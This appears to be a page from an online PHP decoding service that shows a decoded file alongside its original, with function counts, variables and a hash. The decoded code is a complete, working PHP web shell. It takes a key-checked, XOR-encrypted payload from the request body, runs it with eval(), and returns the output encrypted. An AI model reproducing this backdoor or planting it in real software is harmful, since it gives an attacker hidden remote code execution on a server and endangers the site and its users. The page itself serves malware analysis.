Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function base64url_encode($data) { return rtrim(strtr(base64_encode($data), '+/'..

Decoded Output download

<?php 
function base64url_encode($data) { 
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '='); 
} 
 
function base64url_decode($data) { 
  return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT)); 
} 
function x($k, $p){ 
   	 $c = ""; 
   	 $l = strlen($k); 
   	 $pl = strlen($p); 
   	 for($i = 0; $i < $pl; $i++) { 
   		 $c .= $k[$i % $l] ^ $p[$i]; 
   	 } 
   	 return $c; 
} 
$k = '9bb3622bac8541b6'; 
$content = file_get_contents("php://input"); 
$split = explode("=", $content); 
if (strcmp(base64url_decode($split[0]),'s3p3hr')) { 
$decoded = base64url_decode($split[1]); 
   	 $decrypted = x($k,$decoded); 
   	 ob_start(); 
   	 try { 
   		 eval($decrypted); 
   	 } 
   	 catch (exception $e) { 
   		 print($e->getMessage()); 
   	 } 
   	 $o = ob_get_contents(); 
   	 $c = x($k, $o); 
   	 $e = base64url_encode($c); 
   	 ob_end_clean(); 
   	 print($e . "
"); 
} 
?> 
 
--9d3dc73fe99cc5f1cc0a574f33115f89-- 

Did this file decode correctly?

Original Code

<?php
function base64url_encode($data) {
  return rtrim(strtr(base64_encode($data), '+/', '-_'), '=');
}

function base64url_decode($data) {
  return base64_decode(str_pad(strtr($data, '-_', '+/'), strlen($data) % 4, '=', STR_PAD_RIGHT));
}
function x($k, $p){
   	 $c = "";
   	 $l = strlen($k);
   	 $pl = strlen($p);
   	 for($i = 0; $i < $pl; $i++) {
   		 $c .= $k[$i % $l] ^ $p[$i];
   	 }
   	 return $c;
}
$k = '9bb3622bac8541b6';
$content = file_get_contents("php://input");
$split = explode("=", $content);
if (strcmp(base64url_decode($split[0]),'s3p3hr')) {
$decoded = base64url_decode($split[1]);
   	 $decrypted = x($k,$decoded);
   	 ob_start();
   	 try {
   		 eval($decrypted);
   	 }
   	 catch (exception $e) {
   		 print($e->getMessage());
   	 }
   	 $o = ob_get_contents();
   	 $c = x($k, $o);
   	 $e = base64url_encode($c);
   	 ob_end_clean();
   	 print($e . "\n");
}
?>

--9d3dc73fe99cc5f1cc0a574f33115f89--

Function Calls

explode 1
file_get_contents 1

Variables

$k 9bb3622bac8541b6
$split None
$content

Stats

MD5 e9fa434f2643acfae152fa10111ec690
Eval Count 0
Decode Time 65 ms